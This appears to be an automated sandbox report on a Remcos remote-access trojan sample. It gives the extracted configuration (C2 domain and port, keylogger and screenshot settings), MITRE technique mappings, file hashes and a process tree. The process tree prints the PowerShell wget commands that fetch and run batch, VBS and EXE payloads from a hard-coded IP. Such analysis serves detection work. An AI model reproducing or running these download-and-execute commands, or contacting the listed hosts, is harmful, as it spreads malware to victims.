remcos | 1f09edf42fa70f1d36df268eef5b64ea5617485d1a511f674740decfcebdea1e

Analysis

max time kernel
148s
max time network
143s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
25-09-2024 14:02

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General

Target

4d8b2d19bdd29e6d89e0769cff9b0b48.bat
Size

191B
MD5

4d8b2d19bdd29e6d89e0769cff9b0b48
SHA1

07c4469751a5ddf43288b8ea7d32afce71783a2c
SHA256

1f09edf42fa70f1d36df268eef5b64ea5617485d1a511f674740decfcebdea1e
SHA512

dd00356e9fdf149c9890bf71459a5e20b5bc581d62c7a3964a18aaffb32bd7e5210cc9aa8d6251e87ba4ba3ac803b5e720c66ecf161a546a4d36409d1311d3dc

Score

10^/10

remcos back-september discovery rat

Malware Config

Extracted

Family

remcos

Botnet

Back-September

fullimmersion777.com:8090

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
hello.exe
copy_folder
windw
delete_file
false
hide_file
true
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
rimcsl-94LESJ
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos

Blocklisted process makes network request 3 IoCs

flow	pid	Process
3	4772	powershell.exe
5	3796	powershell.exe
10	1796	powershell.exe

Downloads MZ/PE file

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-523280732-2327480845-3730041215-1000\Control Panel\International\Geo\Nation	cmd.exe
Key value queried	\REGISTRY\USER\S-1-5-21-523280732-2327480845-3730041215-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-523280732-2327480845-3730041215-1000\Control Panel\International\Geo\Nation	AUGUST.exe

Executes dropped EXE 3 IoCs

pid	Process
2520	AUGUST.exe
3592	DZIPR.exe
4512	DZIPR.exe

Loads dropped DLL 2 IoCs

pid	Process
3592	DZIPR.exe
4512	DZIPR.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 4512 set thread context of 4916	4512	DZIPR.exe	98

Drops file in Windows directory 1 IoCs

description	ioc	Process
File created	C:\Windows\Tasks\lnfast_x64.job	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	AUGUST.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	DZIPR.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	DZIPR.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	explorer.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-523280732-2327480845-3730041215-1000_Classes\Local Settings	cmd.exe

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
4772	powershell.exe
4772	powershell.exe
3796	powershell.exe
3796	powershell.exe
1796	powershell.exe
1796	powershell.exe
3592	DZIPR.exe
4512	DZIPR.exe
4512	DZIPR.exe
4916	cmd.exe
4916	cmd.exe

Suspicious behavior: MapViewOfSection 2 IoCs

pid	Process
4512	DZIPR.exe
4916	cmd.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	4772	powershell.exe
Token: SeDebugPrivilege	3796	powershell.exe
Token: SeDebugPrivilege	1796	powershell.exe

Suspicious use of WriteProcessMemory 30 IoCs

description	pid	Process	procid_target
PID 3792 wrote to memory of 4772	3792	cmd.exe	83
PID 3792 wrote to memory of 4772	3792	cmd.exe	83
PID 3792 wrote to memory of 3796	3792	cmd.exe	84
PID 3792 wrote to memory of 3796	3792	cmd.exe	84
PID 3792 wrote to memory of 5104	3792	cmd.exe	85
PID 3792 wrote to memory of 5104	3792	cmd.exe	85
PID 5104 wrote to memory of 3168	5104	cmd.exe	87
PID 5104 wrote to memory of 3168	5104	cmd.exe	87
PID 3168 wrote to memory of 5048	3168	WScript.exe	88
PID 3168 wrote to memory of 5048	3168	WScript.exe	88
PID 5048 wrote to memory of 1796	5048	cmd.exe	90
PID 5048 wrote to memory of 1796	5048	cmd.exe	90
PID 5048 wrote to memory of 2520	5048	cmd.exe	93
PID 5048 wrote to memory of 2520	5048	cmd.exe	93
PID 5048 wrote to memory of 2520	5048	cmd.exe	93
PID 2520 wrote to memory of 3592	2520	AUGUST.exe	95
PID 2520 wrote to memory of 3592	2520	AUGUST.exe	95
PID 2520 wrote to memory of 3592	2520	AUGUST.exe	95
PID 3592 wrote to memory of 4512	3592	DZIPR.exe	97
PID 3592 wrote to memory of 4512	3592	DZIPR.exe	97
PID 3592 wrote to memory of 4512	3592	DZIPR.exe	97
PID 4512 wrote to memory of 4916	4512	DZIPR.exe	98
PID 4512 wrote to memory of 4916	4512	DZIPR.exe	98
PID 4512 wrote to memory of 4916	4512	DZIPR.exe	98
PID 4512 wrote to memory of 4916	4512	DZIPR.exe	98
PID 4916 wrote to memory of 2512	4916	cmd.exe	106
PID 4916 wrote to memory of 2512	4916	cmd.exe	106
PID 4916 wrote to memory of 2512	4916	cmd.exe	106
PID 4916 wrote to memory of 2512	4916	cmd.exe	106
PID 4916 wrote to memory of 2512	4916	cmd.exe	106

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\4d8b2d19bdd29e6d89e0769cff9b0b48.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:3792
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell wget http://172.94.3.25/ffo.bat -OutFile C:\Users\Admin\AppData\Roaming/ffo.bat
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4772
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell wget http://172.94.3.25/hi.vbs -OutFile C:\Users\Admin\AppData\Roaming/hi.vbs
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3796
- C:\Windows\system32\cmd.exe
  cmd /c C:\Users\Admin\AppData\Roaming/hi.vbs
  2⤵
  - Checks computer location settings
  - Modifies registry class
  - Suspicious use of WriteProcessMemory
  PID:5104
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\hi.vbs"
    3⤵
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:3168
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\ffo.bat" "
      4⤵
      Suspicious use of WriteProcessMemory
      PID:5048
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell wget http://172.94.3.25/AUGUST.exe -OutFile C:\Users\Admin\AppData\Roaming/AUGUST.exe
        5⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1796
    - - C:\Users\Admin\AppData\Roaming\AUGUST.exe
        
        C:\Users\Admin\AppData\Roaming/AUGUST.exe
        5⤵
        Checks computer location settings
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:2520
      - C:\Users\Admin\DZIPR.exe
        
        "C:\Users\Admin\DZIPR.exe"
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:3592
        
        C:\Users\Admin\AppData\Roaming\Ruy_driverv2\DZIPR.exe
        
        C:\Users\Admin\AppData\Roaming\Ruy_driverv2\DZIPR.exe
        7⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: MapViewOfSection
        Suspicious use of WriteProcessMemory
        
        PID:4512
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\SysWOW64\cmd.exe
        8⤵
        Drops file in Windows directory
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: MapViewOfSection
        Suspicious use of WriteProcessMemory
        
        PID:4916
        
        C:\Windows\SysWOW64\explorer.exe
        
        C:\Windows\SysWOW64\explorer.exe
        9⤵
        System Location Discovery: System Language Discovery
        
        PID:2512

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
2f57fde6b33e89a63cf0dfdd6e60a351

SHA1
445bf1b07223a04f8a159581a3d37d630273010f

SHA256
3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

SHA512
42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
08f9f3eb63ff567d1ee2a25e9bbf18f0

SHA1
6bf06056d1bb14c183490caf950e29ac9d73643a

SHA256
82147660dc8d3259f87906470e055ae572c1681201f74989b08789298511e5f0

SHA512
425a4a8babbc11664d9bac3232b42c45ce8430b3f0b2ae3d9c8e12ad665cd4b4cbae98280084ee77cf463b852309d02ca43e5742a46c842c6b00431fc047d512

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
9843d1de2b283224f4f4b8730ccc919f

SHA1
c053080262aef325e616687bf07993920503b62b

SHA256
409d2853e27efaa5b7e5459a0c29103197e9d661338996a13d61ca225b2222d1

SHA512
13d5809d2078ecd74aec818b510a900a9071605863b0a10037b3a203b76ea17598436ca5049cd13cf3442352670b21d386e84a88bece36e3440d408f123475de

Download Submit
C:\Users\Admin\AppData\Local\Temp\6ee1c366

Filesize
1.2MB

MD5
a982b67a11f2a5c118a86e55b2520b07

SHA1
424ea05f31bcb152184181705804d6163790ca52

SHA256
265ed08ddc500957ecd48e8366ee00b1487d6e15046511bb26176c7c489e1ba2

SHA512
a02cf63fa4af8e0c992a0dbf1d873f4755ee34c5dd5596fd53f2b86403008b2af1e72bb386845a0c5c3b17575233cbcb0d5f10c9d508e476b5c0e15753454fe0

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_fbqsphuj.mkp.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\AUGUST.exe

Filesize
4.6MB

MD5
25860926414bf43383246f7c773a8d6c

SHA1
760390a4a14df085f4c841067f52c79409cdc93e

SHA256
a8e552944846a2f5e8fefea4a250046da29d74d1f58f7a868258e6ded9597958

SHA512
61825ef1b03f5516f2820faae3dad01911054debb714b2162fd28cdc7c26199eb6174eddb3e48a4b200c350a083a561a58bd2724496fcb71e87d4492e2ec5a07

Download Submit
C:\Users\Admin\AppData\Roaming\ffo.bat

Filesize
116B

MD5
174d3ad77319dc90564354cad267dabf

SHA1
b36284dccf4f4d2a7e671d5a2f9dda8197a4c351

SHA256
ce2a0fa3ef54c0596a6aa5e4d9e2f06943f0f7e38841823072bd37df73c47569

SHA512
fa78883af47a9b47d738dd8acc2990a3cba9339b8a762a7ac98114810a50f9085d223226d00944d814fce5ff43114bc87656afaf752d86ae08a8818b257a40fb

Download Submit
C:\Users\Admin\AppData\Roaming\hi.vbs

Filesize
126B

MD5
caa7e3e2db71fa6b41370a69d134fdba

SHA1
659cec895d5348e9e1b85823cc9a8f0e165f21cf

SHA256
183e1e3b20ea35804ddf2d6102aa4e854730a93f076bb6fe43075b0394d18945

SHA512
346f1858a1861d16bf8e858867deaa1653124085c0c320a2776c1a8131e93e6af15156ec6b8457b3648f837485ad4eac584ee83b859f97cbaa80f38b2bf68efd

Download Submit
C:\Users\Admin\DZIPR.dll

Filesize
346KB

MD5
ad28d4167571382569d2384ffd7bd2a9

SHA1
efc7534bcb1645d4056702e073519f571d8db77b

SHA256
f919a8e63ec0f2f05ac01a6cab4088c13fbf14a38b071cfa9f710c9e069462eb

SHA512
8f28867b46dd7a801cbf70d8d7fe5f2bfb8654a417c40ba264faf81af8bb1a28e1a1200fdc9828a4a4c6df0a13817055290c16f9468d311b8d8049a2439348d9

Download Submit
C:\Users\Admin\DZIPR.exe

Filesize
8.4MB

MD5
ec9ce1d67f98072281015c7726fba245

SHA1
e89b16265acf4a251b527ddf22830f2650987263

SHA256
9ab4145d5525ae741b80f4e66f505abba59adcbe01868dfef84fbe4450634cc1

SHA512
21db8f3ae325021589de9c2489ab2ce6814722a17a92476a56147478aa9767ce5c4769169f287060cc08ad76019178ba547fcef32074ef1afb1926845e7158e1

Download Submit
C:\Users\Admin\ekqqtq

Filesize
952KB

MD5
4649f3a4e58c6040b07f6d486c149a71

SHA1
64f8fc631c5fb4e5f6bc20c207047d8e2b500587

SHA256
5d81ca77492946aa2cfe00349342de8cceb317d8649bedbfd95992dca885f184

SHA512
4e1b229d30403b594e992fe0893e568161c8d901fe20461093d11159ab03b5dd410d1834bc64ac4ccc39d4f6b072946703f06eeb982d79b1c9a1b773b57013b7

Download Submit
C:\Users\Admin\ipqtwm

Filesize
70KB

MD5
f125e72b3968ca233ef3c7e2f4db34e7

SHA1
4fb34044ef18cedbd3ede4272c44416d3f11735c

SHA256
ced30560c6c0fc15cbdbdbc0d480dca6b41ce3183057e43b419dd6814a33db92

SHA512
b645d1eb685a69b9ca9bbdb1f4638af8ae151ddfb9527c423f7779971246ed60f981ce26ce8af2fc7b63164e7c13e9c6e98a7f148831a1e59318e60e5a39f881

Download Submit
memory/2512-128-0x0000000000C00000-0x0000000000C84000-memory.dmp

Filesize
528KB

Download
memory/2512-126-0x0000000000C00000-0x0000000000C84000-memory.dmp

Filesize
528KB

Download
memory/2512-130-0x0000000000C00000-0x0000000000C84000-memory.dmp

Filesize
528KB

Download
memory/2512-131-0x0000000000C00000-0x0000000000C84000-memory.dmp

Filesize
528KB

Download
memory/2512-127-0x0000000000C00000-0x0000000000C84000-memory.dmp

Filesize
528KB

Download
memory/2512-124-0x0000000000C00000-0x0000000000C84000-memory.dmp

Filesize
528KB

Download
memory/2512-125-0x0000000000C00000-0x0000000000C84000-memory.dmp

Filesize
528KB

Download
memory/2512-129-0x0000000000C00000-0x0000000000C84000-memory.dmp

Filesize
528KB

Download
memory/2512-119-0x00007FFC7AEF0000-0x00007FFC7B0E5000-memory.dmp

Filesize
2.0MB

Download
memory/2512-120-0x0000000000C00000-0x0000000000C84000-memory.dmp

Filesize
528KB

Download
memory/2512-123-0x0000000000C00000-0x0000000000C84000-memory.dmp

Filesize
528KB

Download
memory/3592-100-0x0000000000400000-0x0000000000C69000-memory.dmp

Filesize
8.4MB

Download
memory/3592-93-0x00007FFC7AEF0000-0x00007FFC7B0E5000-memory.dmp

Filesize
2.0MB

Download
memory/3592-92-0x0000000073650000-0x00000000737CB000-memory.dmp

Filesize
1.5MB

Download
memory/3796-30-0x00007FFC5CF80000-0x00007FFC5DA41000-memory.dmp

Filesize
10.8MB

Download
memory/3796-33-0x00007FFC5CF80000-0x00007FFC5DA41000-memory.dmp

Filesize
10.8MB

Download
memory/3796-27-0x00007FFC5CF80000-0x00007FFC5DA41000-memory.dmp

Filesize
10.8MB

Download
memory/3796-28-0x00007FFC5CF80000-0x00007FFC5DA41000-memory.dmp

Filesize
10.8MB

Download
memory/4512-106-0x0000000075040000-0x00000000751BB000-memory.dmp

Filesize
1.5MB

Download
memory/4512-108-0x0000000075040000-0x00000000751BB000-memory.dmp

Filesize
1.5MB

Download
memory/4512-107-0x00007FFC7AEF0000-0x00007FFC7B0E5000-memory.dmp

Filesize
2.0MB

Download
memory/4512-110-0x0000000000400000-0x0000000000C69000-memory.dmp

Filesize
8.4MB

Download
memory/4772-0-0x00007FFC5CF83000-0x00007FFC5CF85000-memory.dmp

Filesize
8KB

Download
memory/4772-16-0x00007FFC5CF80000-0x00007FFC5DA41000-memory.dmp

Filesize
10.8MB

Download
memory/4772-12-0x00007FFC5CF80000-0x00007FFC5DA41000-memory.dmp

Filesize
10.8MB

Download
memory/4772-11-0x00007FFC5CF80000-0x00007FFC5DA41000-memory.dmp

Filesize
10.8MB

Download
memory/4772-6-0x0000022F715D0000-0x0000022F715F2000-memory.dmp

Filesize
136KB

Download
memory/4916-117-0x0000000075040000-0x00000000751BB000-memory.dmp

Filesize
1.5MB

Download
memory/4916-114-0x0000000075040000-0x00000000751BB000-memory.dmp

Filesize
1.5MB

Download
memory/4916-112-0x00007FFC7AEF0000-0x00007FFC7B0E5000-memory.dmp

Filesize
2.0MB

Download